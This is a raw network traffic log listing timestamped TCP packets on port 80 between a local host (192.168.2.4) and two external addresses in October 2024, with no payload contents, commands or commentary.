Oct 26, 2024 05:54:52.381252050 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.381275892 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.381282091 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.381315947 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.381340981 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.381375074 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.381386042 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.381421089 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.381545067 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.381587029 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.381597042 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.381625891 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.381659031 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.381669998 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.381846905 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.381891966 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.381922007 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.381957054 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.381963968 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.381999969 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.382023096 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.382065058 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.382313013 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.382358074 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.382365942 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.382400990 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.382406950 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.382433891 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.382438898 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.382476091 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.382755041 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.382798910 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.382807016 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.382841110 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.382848024 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.382883072 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.383061886 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.383095980 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.383106947 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.383131027 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.383138895 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.383167028 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.383172035 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.383219004 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.383697033 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.383743048 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.383824110 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.383878946 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.414670944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.414709091 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.414716959 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.414761066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.414804935 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.461849928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.461997032 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.462028027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.462079048 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.462101936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.462152004 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.462158918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.462191105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.462234020 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.700433969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.700723886 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.700773954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.700841904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.700891018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.700896025 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.700896025 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.700920105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.700953007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.700958967 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.700987101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.701020956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.701029062 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.701056004 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.701087952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.701095104 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.701122046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.701149940 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.701162100 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.701200962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.701241016 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.701253891 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.701287031 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.701318979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.701324940 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.701353073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.701389074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.701392889 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.701419115 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.701448917 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.701483011 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.701489925 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.701512098 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.701544046 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.701577902 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.701610088 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.701643944 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.701667070 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.701667070 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.701667070 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.701668024 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.701668024 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.701675892 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.701709986 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.701708078 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.701708078 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.701742887 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.701754093 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.701778889 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.701788902 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.701808929 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.701824903 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.701849937 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.701858044 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.701890945 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.701905012 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.701924086 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.701936960 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.701956987 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.701970100 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.701991081 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.702003956 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.702024937 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.702033997 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.702059031 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.702070951 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.702092886 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.702101946 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.702126980 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.702138901 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.702162027 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.702173948 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.702197075 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.702208042 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.702234983 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.702243090 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.702269077 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.702281952 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.702303886 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.702320099 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.702337980 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.702362061 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.702373981 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.702387094 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.702408075 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.702430964 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.702445030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.702454090 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.702472925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.702493906 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.702507019 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.702541113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.702545881 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.702568054 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.702599049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.702605009 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.702632904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.702639103 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.702738047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.702770948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.702779055 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.702800989 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.702831030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.702838898 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.702863932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.702892065 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.702907085 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.702924967 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.702958107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.702965975 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.702986956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.703018904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.703022957 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.703051090 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.703079939 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.703108072 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.703110933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.703144073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.703151941 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.703176975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.703211069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.703216076 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.703239918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.703273058 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.703278065 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.703305960 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.703347921 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.703355074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.703391075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.703423977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.703432083 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.703466892 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.703495026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.703504086 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.703583002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.703610897 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.703624010 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.703660011 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.703691959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.703721046 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.703728914 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.703752041 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.703775883 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.703784943 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.703800917 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.703819036 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.703830004 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.703852892 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.703861952 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.703886986 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.703895092 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.703921080 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.703928947 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.703954935 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.703963041 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.703988075 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.704003096 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.704018116 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.704035044 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.704050064 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.704063892 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.704083920 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.704099894 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.704113007 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.704128027 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.704147100 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.704153061 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.704180956 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.704189062 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.704217911 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.704226971 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.704252958 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.704262018 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.704286098 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.704298019 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.704320908 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.704336882 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.704365969 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.704382896 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.704399109 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.704406977 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.704436064 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.704438925 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.704471111 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.704483032 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.704504967 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.704516888 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.704538107 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.704552889 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.704579115 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.710172892 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.710227013 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.710259914 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.710297108 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.710325003 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.710346937 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.710346937 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.710346937 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.710346937 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.710397005 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.737169981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.737222910 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.737260103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.737265110 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.737428904 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.784420013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.784470081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.784508944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.784538984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.784651041 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.784652948 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.784652948 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.784792900 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.784822941 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.784847975 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.815947056 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.815983057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.815999985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.816339016 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.817038059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.817066908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.817112923 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.817138910 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.817230940 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.817264080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.817280054 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.817300081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.817344904 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.817423105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.817451954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.817492008 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.817517042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.817549944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.817605019 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.817610025 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.817682981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.817723989 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.817830086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.817857981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.817892075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.817899942 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.817943096 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.817984104 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.855634928 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.855758905 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.855794907 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.855849028 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.855856895 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.855856895 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.855891943 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.855902910 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.855902910 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.855931044 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.855942011 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.855966091 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.855983019 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.856002092 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.856018066 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.856030941 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.856051922 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.856064081 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.856173038 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.856225014 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.856241941 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.856275082 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.856293917 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.856318951 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.856344938 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.856379032 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.856405020 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.856417894 CEST	49745	80	192.168.2.4	185.215.113.206
